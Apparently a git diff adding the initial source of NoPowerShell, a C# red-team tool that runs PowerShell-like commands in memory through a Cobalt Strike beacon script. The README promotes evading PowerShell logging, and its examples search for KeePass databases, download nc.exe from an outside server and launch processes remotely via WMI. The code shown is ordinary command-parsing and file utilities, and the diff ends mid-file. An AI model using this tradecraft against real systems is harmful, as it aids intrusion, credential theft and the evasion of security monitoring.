diff --git a/NoPowerShell.cna b/NoPowerShell.cna new file mode 100644 index 0000000..af0a89e --- /dev/null +++ b/NoPowerShell.cna @@ -0,0 +1,24 @@ +# _ _ ____ ____ _ _ _ +# | \ | | ___ | _ \ _____ _____ _ __/ ___|| |__ ___| | | +# | \| |/ _ \| |_) / _ \ \ /\ / / _ \ '__\___ \| '_ \ / _ \ | | +# | |\ | (_) | __/ (_) \ V V / __/ | ___) | | | | __/ | | +# |_| \_|\___/|_| \___/ \_/\_/ \___|_| |____/|_| |_|\___|_|_| +# +# @_bitsadmin +# https://github.com/bitsadmin +# + +$binary = "scripts/NoPowerShell.exe"; +$help = "Execute a command via the reflective NoPowerShell commandline"; +beacon_command_register("nps", $help, "Use: nps [command]\n\n$help"); + +alias nps +{ + if(!-exists $binary) + { + berror($1, "NoPowerShell binary cannot be found at $binary"); + return; + } + $args = replace($0, "nps ", ""); + bexecute_assembly($1, $binary, $args); +} diff --git a/Pictures/CurrentlySupportedCommands.png b/Pictures/CurrentlySupportedCommands.png new file mode 100644 index 0000000..eec813f Binary files /dev/null and b/Pictures/CurrentlySupportedCommands.png differ diff --git a/Pictures/SampleCommands.png b/Pictures/SampleCommands.png new file mode 100644 index 0000000..8ad15ae Binary files /dev/null and b/Pictures/SampleCommands.png differ diff --git a/README.md b/README.md index 4c8277e..ce7537b 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,89 @@ -# nopowershell -PowerShell rebuilt in C# for Red Teaming purposes +# NoPowerShell +NoPowerShell is a tool implemented in C# which supports executing PowerShell-like commands while remaining invisible to any PowerShell logging mechanisms. This .NET Framework 2 compatible binary can be loaded in Cobalt Strike to execute commands in-memory. No `System.Management.Automation.dll` is used; only native .NET libraries. + +Moreover, this project makes it easy for everyone to extend its functionality using only a few lines of C# code. + +# Screenshots +## Currently supported commands +Running in Cobalt Strike. +![NoPowerShell supported commands](https://raw.githubusercontent.com/bitsadmin/nopowershell/master/Pictures/CurrentlySupportedCommands.png "NoPowerShell in Cobalt Strike") +## Sample commands +![NoPowerShell sample commands](https://raw.githubusercontent.com/bitsadmin/nopowershell/master/Pictures/SampleCommands.png "NoPowerShell in Cobalt Strike") + + +# Usage +## Note +When using NoPowerShell from cmd.exe or PowerShell, you need to escape the pipe character (`|`) with respectively a caret (`^`) or a backtick (`` ` ``), i.e.: + +- cmd.exe: `ls ^| select Name` +- PowerShell: ```ls `| select Name``` + +## Examples +| Action | Command | Notes | +| - | - | - | +| List help | `NoPowerShell.exe` | Alternative: `NoPowerShell.exe Get-Command` | +| View status of a service | `NoPowerShell.exe Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'"` | | +| Search for KeePass database in C:\Users folder | `NoPowerShell.exe gci C:\Users\ -Force -Recurse -Include *.kdbx \| select Directory,Name,Length` | | +| View system information | `NoPowerShell.exe systeminfo` | | +| List processes on the system | `NoPowerShell.exe Get-Process` | | +| Show current user | `NoPowerShell.exe whoami` | Unofficial command | +| List autoruns | `NoPowerShell.exe Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run` | | +| List network shares connected to from this machine | `NoPowerShell.exe Get-NetSmbMapping` | | +| Download file | `NoPowerShell.exe wget http://myserver.me/nc.exe` | When compiled using .NET 2 only supports SSL up to SSLv3 (no TLS 1.1+) | +| List PowerShell processes on remote system | `NoPowerShell.exe gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc1.corp.local \| ? Name -Like "powershell*" \| select ProcessId,CommandLine` | Explicit credentials can be specified using the `-Username` and `-Password` parameters | +| Execute program using WMI | `NoPowerShell.exe Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe"` | | + +# Known issues +- Pipeline characters need to surrounded by spaces +- TLS 1.1+ is not supported by .NET Framework 2, so any site enforcing it will result in a connection error + +# Improvements +- Fix above issues +- Improve stability by adding exception handling +- Support for parameter groups +- Add support for ArrayArgument parameter +- Add support for .NET code in commandline, i.e.: `[System.Security.Principal.WindowsIdentity]::GetCurrent().Name` + +# Contributing +Add your own cmdlets by submitting a pull request. +## Requirement +- Maintain .NET 2.0 compatibility in order to support the broadest range of operating systems + +## Instructions +Use the TemplateCommand.cs file in the Commands folder to construct new cmdlets. The TemplateCommand cmdlet is hidden from the list of available cmdlets, but can be called in order to understand its workings. This command looks as follows: `Get-TemplateCommand [-MyFlag] -MyInteger [Int32] -MyString [Value]` and is also accessible via alias `gtc`. + +### Example usages + +| Action | Command | +| - | - | +| Simply run with default values | `gtc` | +| Run with the -MyFlag parameter which executes the 'else' statement | `gtc -MyFlag` | +| Run with the -MyInteger parameter which changes the number of iterations from its default number of 5 iterations to whatever number is provided | `gtc -MyInteger 10` | +| Run with the -MyString parameter which changes the text that is printed from its default value of 'Hello World' to whatever string is provided | `gtc -MyString "Bye PowerShell"` | +| Combination of parameters | `gtc -MyInteger 10 -MyString "Bye PowerShell"` | +| Combination of parameters - Alternative | `gtc -MyInteger 10 -MyString "Bye PowerShell"` | +| Combination of parameters - Using fact that MyString is the only mandatory parameter for this command | `gtc -MyInteger 10 "Bye PowerShell"` | +| Command in combination with a couple of data manipulators in the pipe | `gtc "Bye PowerShell" -MyInteger 30 \| ? Attribute2 -Like Line1* \| select Attribute2 \| fl` | + +Execute the following steps to implement your own cmdlet: +1. Create a copy of the **TemplateCommand.cs** file. + * In case you are implementing a native PowerShell command, place it in folder the corresponding to the _Source_ attribute when executing in PowerShell: `Get-Command My-Commandlet`. Example of a native command: `Get-Command Get-Process` -> Source: `Microsoft.PowerShell.Management` -> Place the .cs file in the **Management** subfolder. + * In case it is a non-native command, place it in the **Additional** folder. +2. Update the `TemplateCommand` classname and its constructor name. +3. Update the static **Aliases** variable to the command and aliases you want to use to call this cmdlet. For native PowerShell commands you can lookup the aliases using `Get-Alias | ? ResolvedCommandName -EQ My-Commandlet` to obtain the list of aliases. Always make sure the full command is the first "alias", for example: `Get-Alias | ? ResolvedCommandName -EQ Get-Process` -> Aliases are: `Get-Process`, `gps`, `ps` +4. Update the static **Synopsis** variable to a small text that describes the command. This will be shown in the help. +5. Update the arguments supported by the command by adding _StringArguments_, _BoolArguments_ and _IntegerArguments_ to the static **SupportedArguments** variable. +6. In the Execute function: + 1. Fetch the values of the _StringArguments_, _BoolArguments_ and _IntegerArguments_ as shown in the examples; + 2. Based on the parameters provided by the user, perform your actions; + 3. Make sure all results are stored in the `_results` variable. +7. Remove all of the template sample code and comments from the file to keep the source tidy. + +# Contributed NoPowerShell cmdlets +Authors of additional NoPowerShell cmdlets are added to the table below. Moreover, the table lists commands that are requested by the community to add. Together we can develop a powerful NoPowerShell toolkit! + +| Cmdlet | Contributed by | GitHub | Twitter | +| - | - | - | - | +| Resolve-DnsName | | | | +| Get-ADUser | | | | +| Get-ADGroupMember | | | | diff --git a/Source/NoPowerShell/NoPowerShell.sln b/Source/NoPowerShell/NoPowerShell.sln new file mode 100644 index 0000000..bddbaae --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.26228.4 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NoPowerShell", "NoPowerShell\NoPowerShell.csproj", "{555AD0AC-1FDB-4016-8257-170A74CB2F55}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Debug|Any CPU.Build.0 = Debug|Any CPU + {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Release|Any CPU.ActiveCfg = Release|Any CPU + {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Source/NoPowerShell/NoPowerShell/App.config b/Source/NoPowerShell/NoPowerShell/App.config new file mode 100644 index 0000000..77ed642 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/Source/NoPowerShell/NoPowerShell/Arguments/Argument.cs b/Source/NoPowerShell/NoPowerShell/Arguments/Argument.cs new file mode 100644 index 0000000..7cf7331 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Arguments/Argument.cs @@ -0,0 +1,53 @@ +using System; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Arguments +{ + /// + /// Base class for BoolArgument and StringArgument + /// + public class Argument : IEquatable + { + /// + /// Name of the argument, for example "-Path" + /// + protected string _name; + protected bool _isOptionalArgument; + protected bool _dashArgumentNameSkipUsed; + + public Argument(string name) + { + this._name = name; + _dashArgumentNameSkipUsed = false; + } + + public bool Equals(Argument other) + { + return other.Name.Equals(_name.Substring(0, other.Name.Length), StringComparison.InvariantCultureIgnoreCase); + } + + public string Name + { + get { return _name; } + } + + public bool IsOptionalArgument + { + get { return this._isOptionalArgument; } + } + + /// + /// Optional StringArgument which requires a value + /// + public bool DashArgumentNameSkipUsed + { + get { return _dashArgumentNameSkipUsed; } + set { _dashArgumentNameSkipUsed = value; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Arguments/ArgumentList.cs b/Source/NoPowerShell/NoPowerShell/Arguments/ArgumentList.cs new file mode 100644 index 0000000..979d43d --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Arguments/ArgumentList.cs @@ -0,0 +1,31 @@ +using System; +using System.Collections.Generic; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Arguments +{ + public class ArgumentList : List + { + public T Get(string argumentName) where T : Argument + { + foreach (Argument arg in this) + { + // Skip irrelevant arguments + if (arg.GetType() != typeof(T)) + continue; + + // Check for matching argumentName + T foundArg = arg as T; + if (foundArg.Name.Equals(argumentName, StringComparison.InvariantCultureIgnoreCase)) + return foundArg; + } + + return null; + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Arguments/BoolArgument.cs b/Source/NoPowerShell/NoPowerShell/Arguments/BoolArgument.cs new file mode 100644 index 0000000..446a3df --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Arguments/BoolArgument.cs @@ -0,0 +1,43 @@ +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Arguments +{ + public class BoolArgument : Argument + { + private bool _value; + + /// + /// Create a new boolean argument including its default value. Bool arguments are always optional. + /// + /// Name of the parameter + /// Default value of the argument + public BoolArgument(string argumentName, bool defaultValue) : base(argumentName) + { + this._value = defaultValue; + this._isOptionalArgument = true; + } + + /// + /// Create new boolean argument with false as its default value. Bool arguments are always optional. + /// + /// Name of the parameter + public BoolArgument(string argumentName) : this(argumentName, false) + { + } + + public bool Value + { + get { return this._value; } + set { this._value = value; } + } + + public override string ToString() + { + return string.Format("{0}: {1}", _name, _value); + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Arguments/IntegerArgument.cs b/Source/NoPowerShell/NoPowerShell/Arguments/IntegerArgument.cs new file mode 100644 index 0000000..603fbb6 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Arguments/IntegerArgument.cs @@ -0,0 +1,61 @@ +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Arguments +{ + public class IntegerArgument : Argument + { + private int _value; + private int _defaultValue; + + /// + /// Create a new integer argument including its default value. + /// + /// Name of the parameter + /// Default value of the argument + public IntegerArgument(string argumentName, int defaultValue) : base(argumentName) + { + this._value = defaultValue; + this._defaultValue = defaultValue; + this._isOptionalArgument = false; + } + + /// + /// Create a new integer argument including its default value specifying whether it is optional or not. + /// + /// Name of the parameter + /// Default value of the argument + /// True if the argument is optional; False if not + public IntegerArgument(string argumentName, int defaultValue, bool optionalArgument) : this(argumentName, defaultValue) + { + this._isOptionalArgument = optionalArgument; + } + + /// + /// Create a new integer argument with a null default value. + /// + /// Name of the parameter + public IntegerArgument(string argumentName) : this(argumentName, 0) + { + } + + public int Value + { + get { return _value; } + set { _value = value; } + } + + public bool IsDefaultValue + { + get { return _value == _defaultValue; } + } + + public override string ToString() + { + return string.Format("{0} \"{1}\"", _name, _value); + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Arguments/StringArgument.cs b/Source/NoPowerShell/NoPowerShell/Arguments/StringArgument.cs new file mode 100644 index 0000000..a0de3fd --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Arguments/StringArgument.cs @@ -0,0 +1,61 @@ +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Arguments +{ + public class StringArgument : Argument + { + private string _value; + private string _defaultValue; + + /// + /// Create a new string argument including its default value. + /// + /// Name of the parameter + /// Default value of the argument + public StringArgument(string argumentName, string defaultValue) : base(argumentName) + { + this._value = defaultValue; + this._defaultValue = defaultValue; + this._isOptionalArgument = false; + } + + /// + /// Create a new string argument including its default value specifying whether it is optional or not. + /// + /// Name of the parameter + /// Default value of the argument + /// True if the argument is optional; False if not + public StringArgument(string argumentName, string defaultValue, bool optionalArgument) : this(argumentName, defaultValue) + { + this._isOptionalArgument = optionalArgument; + } + + /// + /// Create a new string argument with a null default value. + /// + /// Name of the parameter + public StringArgument(string argumentName) : this(argumentName, null) + { + } + + public string Value + { + get { return _value; } + set { _value = value; } + } + + public bool IsDefaultValue + { + get { return string.Equals(_value, _defaultValue, System.StringComparison.InvariantCultureIgnoreCase); } + } + + public override string ToString() + { + return string.Format("{0} \"{1}\"", _name, _value); + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Additional/GetSystemInfoCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Additional/GetSystemInfoCommand.cs new file mode 100644 index 0000000..29fba3d --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Additional/GetSystemInfoCommand.cs @@ -0,0 +1,133 @@ +using System.Collections.Generic; +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; +using System; +using System.Text.RegularExpressions; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetSystemInfo : PSCommand + { + public GetSystemInfo(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + ResultRecord wmiOS = WmiHelper.ExecuteWmiQuery("Select * From Win32_OperatingSystem")[0]; + ResultRecord wmiCS = WmiHelper.ExecuteWmiQuery("Select * From Win32_ComputerSystem")[0]; + + // OS Version + string strOsVersion = string.Format("{0} Build {1}", + wmiOS["Version"], + /* wmiInfo["CSDVersion"],*/ // TODO + wmiOS["BuildNumber"]); + + // Original Install Date + Regex dateRegex = new Regex("([0-9]{4})([01][0-9])([012][0-9])([0-9]{2})([0-9]{2})([0-9]{2})"); + Match dateMatch = dateRegex.Matches(wmiOS["InstallDate"])[0]; + string sOrigInstallDate = string.Format("{0}-{1}-{2}, {3}:{4}:{5}", + dateMatch.Groups[3], dateMatch.Groups[2], dateMatch.Groups[1], + dateMatch.Groups[4], dateMatch.Groups[5], dateMatch.Groups[6]); + + // System Boot Time + dateMatch = dateRegex.Matches(wmiOS["LastBootUpTime"])[0]; + string sSystemBootTime = string.Format("{0}-{1}-{2}, {3}:{4}:{5}", + dateMatch.Groups[3], dateMatch.Groups[2], dateMatch.Groups[1], + dateMatch.Groups[4], dateMatch.Groups[5], dateMatch.Groups[6]); + + // Processors + CommandResult wmiCPUs = WmiHelper.ExecuteWmiQuery("Select * From Win32_Processor"); + List cpus = new List(wmiCPUs.Count); + foreach(ResultRecord cpu in wmiCPUs) + cpus.Add(string.Format("{0} ~{1} Mhz", cpu["Description"], cpu["CurrentClockSpeed"])); + + // Bios + ResultRecord wmiBios = WmiHelper.ExecuteWmiQuery("Select * From Win32_BIOS")[0]; + dateMatch = dateRegex.Matches(wmiBios["ReleaseDate"])[0]; + string strBiosVersion = string.Format("{0} {1}, {2}-{3}-{4}", + wmiBios["Manufacturer"], wmiBios["SMBIOSBIOSVersion"], + dateMatch.Groups[3], dateMatch.Groups[2], dateMatch.Groups[1]); + + // Hotfixes + CommandResult wmiHotfixes = WmiHelper.ExecuteWmiQuery("Select HotFixID From Win32_QuickFixEngineering"); + List hotfixes = new List(wmiHotfixes.Count); + foreach(ResultRecord hotfix in wmiHotfixes) + hotfixes.Add(hotfix["HotFixID"]); + + // Time zone + int timeZone = Convert.ToInt32(wmiOS["CurrentTimeZone"]) / 60; + string sTimeZone = string.Format("UTC{0}{1}", timeZone > 0 ? "+" : "-", timeZone); + + // Pagefile + string sPageFile = WmiHelper.ExecuteWmiQuery("Select Name From Win32_PageFileUsage")[0]["Name"]; + + // Summarize information + _results.Add( + new ResultRecord() + { + { "Host Name", wmiOS["CSName"] }, + { "OS Name", wmiOS["Caption"] }, + { "OS Version", strOsVersion }, + { "OS Manufacturer", wmiOS["Manufacturer"] }, + { "OS Build Type", wmiOS["BuildType"] }, + { "Registered Owner", wmiOS["RegisteredUser"] }, + { "Registered Organization", wmiOS["Organization"] }, + { "Product ID", wmiOS["SerialNumber"] }, + { "Original Install Date", sOrigInstallDate }, + { "System Boot Time", sSystemBootTime }, + { "System Manufacturer", wmiCS["Manufacturer"] }, + { "System Model", wmiCS["Model"] }, + { "System Type", wmiCS["SystemType"] }, + { "Processor(s)", string.Join(", ", cpus.ToArray()) }, + { "BIOS Version", strBiosVersion }, + { "Windows Directory", wmiOS["WindowsDirectory"] }, + { "System Directory", wmiOS["SystemDirectory"] }, + { "Boot Device", wmiOS["BootDevice"] }, + { "System Locale", wmiOS["OSLanguage"] }, + { "Input Locale", wmiOS["OSLanguage"] }, // TODO + { "Time Zone", sTimeZone}, // TODO + { "Total Physical Memory", wmiOS["TotalVisibleMemorySize"] }, + { "Available Physical Memory", wmiOS["FreePhysicalMemory"] }, + { "Virtual Memory: Max Size", wmiOS["TotalVirtualMemorySize"] }, + { "Virtual Memory: Available", wmiOS["FreeVirtualMemory"] }, + { "Virtual Memory: In Use", "" }, // TODO + { "Page File Location(s)", sPageFile }, + { "Domain", wmiCS["Domain"] }, + { "Logon Server", "" }, // TODO + { "Hotfix(s)", string.Join(", ", hotfixes.ToArray()) }, + { "Network Card(s)", "" }, // TODO + { "Hyper-V Requirements", "" } // TODO + } + ); + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-SystemInfo", "systeminfo" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + }; + } + } + + public static new string Synopsis + { + get { return "Shows details about the system such as hardware and Windows installation."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Additional/GetWhoamiCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Additional/GetWhoamiCommand.cs new file mode 100644 index 0000000..73944ab --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Additional/GetWhoamiCommand.cs @@ -0,0 +1,61 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetWhoamiCommand : PSCommand + { + public GetWhoamiCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + bool showAll = _arguments.Get("All").Value; + + string[] DomainUser = System.Security.Principal.WindowsIdentity.GetCurrent().Name.Split('\\'); + + _results.Add( + new ResultRecord() + { + { "Domain", DomainUser[0] }, + { "User", DomainUser[1] } + } + ); + + if(showAll) + { + // TODO + } + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-Whoami", "whoami" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new BoolArgument("All") + }; + } + } + + public static new string Synopsis + { + get { return "Show details about the current user."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Core/GetCommandCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Core/GetCommandCommand.cs new file mode 100644 index 0000000..4c3a406 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Core/GetCommandCommand.cs @@ -0,0 +1,110 @@ +using System.Collections.Generic; +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; +using System; +using System.Reflection; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetCommandCommand : PSCommand + { + public GetCommandCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + Dictionary commandTypes = ReflectionHelper.GetCommands(); + + // Iterate over all available cmdlets + foreach (KeyValuePair commandType in commandTypes) + { + // Hide TemplateCommand from list of commands + // It is available to experiment with though + if (commandType.Key == typeof(TemplateCommand)) + continue; + + // Aliases + CaseInsensitiveList aliases = commandType.Value; + + // Command name + string commandName = aliases[0]; + + // Arguments + ArgumentList arguments = null; + PropertyInfo argumentsProperty = commandType.Key.GetProperty("SupportedArguments", BindingFlags.Static | BindingFlags.Public); + if (argumentsProperty != null) + arguments = (ArgumentList)argumentsProperty.GetValue(null, null); + else + arguments = new ArgumentList(); + + string[] strArgs = new string[arguments.Count]; + int i = 0; + foreach (Argument arg in arguments) + { + // Bool arguments don't require a value, they are simply a flag + if (arg.GetType() == typeof(BoolArgument)) + strArgs[i] = string.Format("[-{0}]", arg.Name); + // String arguments can both be mandatory and optional + else if (arg.GetType() == typeof(StringArgument)) + { + if (arg.IsOptionalArgument) + strArgs[i] = string.Format("[-{0} [Value]]", arg.Name); + else + strArgs[i] = string.Format("-{0} [Value]", arg.Name); + } + else if (arg.GetType() == typeof(IntegerArgument)) + strArgs[i] = string.Format("[-{0} [Value]]", arg.Name); + + i++; + } + + // Synopsis + string strSynopsis = null; + PropertyInfo synopsisProperty = commandType.Key.GetProperty("Synopsis", BindingFlags.Static | BindingFlags.Public); + if (synopsisProperty != null) + strSynopsis = (string)synopsisProperty.GetValue(null, null); + + string strArguments = string.Join(" ", strArgs); + string strAliases = string.Join(", ", aliases.GetRange(1, aliases.Count - 1).ToArray()); + + _results.Add( + new ResultRecord() + { + { "Command", string.Format("{0} {1}", commandName, strArguments) }, + { "Aliases", strAliases }, + { "Synopsis", strSynopsis } + } + ); + } + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-Command" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + }; + } + } + + public static new string Synopsis + { + get { return "Shows all available commands."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Core/WhereObjectCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Core/WhereObjectCommand.cs new file mode 100644 index 0000000..e2c9ef6 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Core/WhereObjectCommand.cs @@ -0,0 +1,93 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class WhereObjectCommand : PSCommand + { + public WhereObjectCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain parameters + string property = _arguments.Get("Property").Value; + bool eq = _arguments.Get("EQ").Value; + bool like = _arguments.Get("Like").Value; + string value = _arguments.Get("Value").Value; + + // Iterate over output lines of previous command in pipe + foreach (ResultRecord result in pipeIn) + { + string tablevalue = result[property].ToLowerInvariant(); + string checkvalue = value.ToLowerInvariant(); + string cleancheckvalue = checkvalue.TrimStart('*').TrimEnd('*'); + bool foundValue = false; + + // Name -eq "value" + if (eq) + { + foundValue = (tablevalue == checkvalue); + } + // Name -like "value" + else if (like) + { + if (checkvalue.StartsWith("*")) + { + // - *value* + if (checkvalue.EndsWith("*")) + foundValue = tablevalue.Contains(cleancheckvalue); + // - *value + else + foundValue = tablevalue.EndsWith(cleancheckvalue); + } + else + { + // - value* + if (checkvalue.EndsWith("*")) + foundValue = tablevalue.StartsWith(cleancheckvalue); + // - value + else + foundValue = tablevalue == cleancheckvalue; + } + } + + if (foundValue) + _results.Add(result); + } + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Where-Object", "?" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Property"), + new BoolArgument("EQ"), + new BoolArgument("Like"), + new StringArgument("Value") + }; + } + } + + public static new string Synopsis + { + get { return "Selects objects from a collection based on their property values."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Management/CopyItemCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Management/CopyItemCommand.cs new file mode 100644 index 0000000..d9728a5 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Management/CopyItemCommand.cs @@ -0,0 +1,101 @@ +using System.IO; +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class CopyItemCommand : PSCommand + { + public CopyItemCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain source and destination + string path = _arguments.Get("Path").Value; + string destination = _arguments.Get("Destination").Value; + bool force = _arguments.Get("Force").Value; + + // Determine if provided path is a file or a directory + FileAttributes attr = File.GetAttributes(path); + + // Directory + if((attr & FileAttributes.Directory) == FileAttributes.Directory) + { + DirectoryCopy(path, destination, force); + } + // File + else + { + File.Copy(path, destination, force); + } + + return _results; + } + + // Slightly modified version of: + // https://docs.microsoft.com/dotnet/standard/io/how-to-copy-directories + private static void DirectoryCopy(string sourceDirName, string destDirName, bool force) + { + // Get the subdirectories for the specified directory. + DirectoryInfo dir = new DirectoryInfo(sourceDirName); + + if (!dir.Exists) + { + throw new DirectoryNotFoundException("Source directory does not exist or could not be found: " + sourceDirName); + } + + DirectoryInfo[] dirs = dir.GetDirectories(); + // If the destination directory doesn't exist, create it. + if (!Directory.Exists(destDirName)) + { + Directory.CreateDirectory(destDirName); + } + + // Get the files in the directory and copy them to the new location. + FileInfo[] files = dir.GetFiles(); + foreach (FileInfo file in files) + { + string destPath = Path.Combine(destDirName, file.Name); + file.CopyTo(destPath, force); + } + + // Copy subdirectories and their contents to new location. + foreach (DirectoryInfo subdir in dirs) + { + string temppath = Path.Combine(destDirName, subdir.Name); + DirectoryCopy(subdir.FullName, temppath, force); + } + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Copy-Item", "copy", "cp", "cpi" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Path"), + new StringArgument("Destination"), + new BoolArgument("Force") + }; + } + } + + public static new string Synopsis + { + get { return "Copies an item from one location to another."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Management/GetChildItemCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetChildItemCommand.cs new file mode 100644 index 0000000..362af3a --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetChildItemCommand.cs @@ -0,0 +1,217 @@ +using System; +using System.IO; +using System.Text; +using Microsoft.Win32; +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetChildItemCommand : PSCommand + { + public GetChildItemCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain parameters + bool includeHidden = _arguments.Get("Force").Value; + string path = _arguments.Get("Path").Value; + bool recurse = _arguments.Get("Recurse").Value; + string searchPattern = _arguments.Get("Include").Value; + string checkPath = path.ToUpperInvariant(); + + // Registry: + // HKLM:\ + // HKCU:\ + // HKCR:\ + // HKU:\ + if (checkPath.StartsWith("HKLM:") || checkPath.StartsWith("HKCU:") || checkPath.StartsWith("HKCR:") || checkPath.StartsWith("HKU:")) + _results = BrowseRegistry(path, includeHidden); + + // Filesystem: + // \ + // ..\ + // D:\ + else + _results = BrowseFilesystem(path, recurse, includeHidden, searchPattern); + + return _results; + } + private CommandResult BrowseRegistry(string path, bool includeHidden) + { + RegistryKey root = null; + string newPath = string.Empty; + path = path.ToUpperInvariant(); + if (path.StartsWith("HKLM:")) + { + root = Registry.LocalMachine; + newPath = path.Replace("HKLM:", string.Empty); + } + else if (path.StartsWith("HKCU:")) + { + root = Registry.CurrentUser; + newPath = path.Replace("HKCU:", string.Empty); + } + else if (path.StartsWith("HKCR:")) + { + root = Registry.ClassesRoot; + newPath = path.Replace("HKCR:", string.Empty); + } + else if (path.StartsWith("HKU:")) + { + root = Registry.Users; + newPath = path.Replace("HKU:", string.Empty); + } + else + throw new InvalidOperationException("Unknown registry path."); + + if (newPath.StartsWith(@"\")) + newPath = newPath.Substring(1); + + RegistryKey key = root.OpenSubKey(newPath); + foreach (string subkey 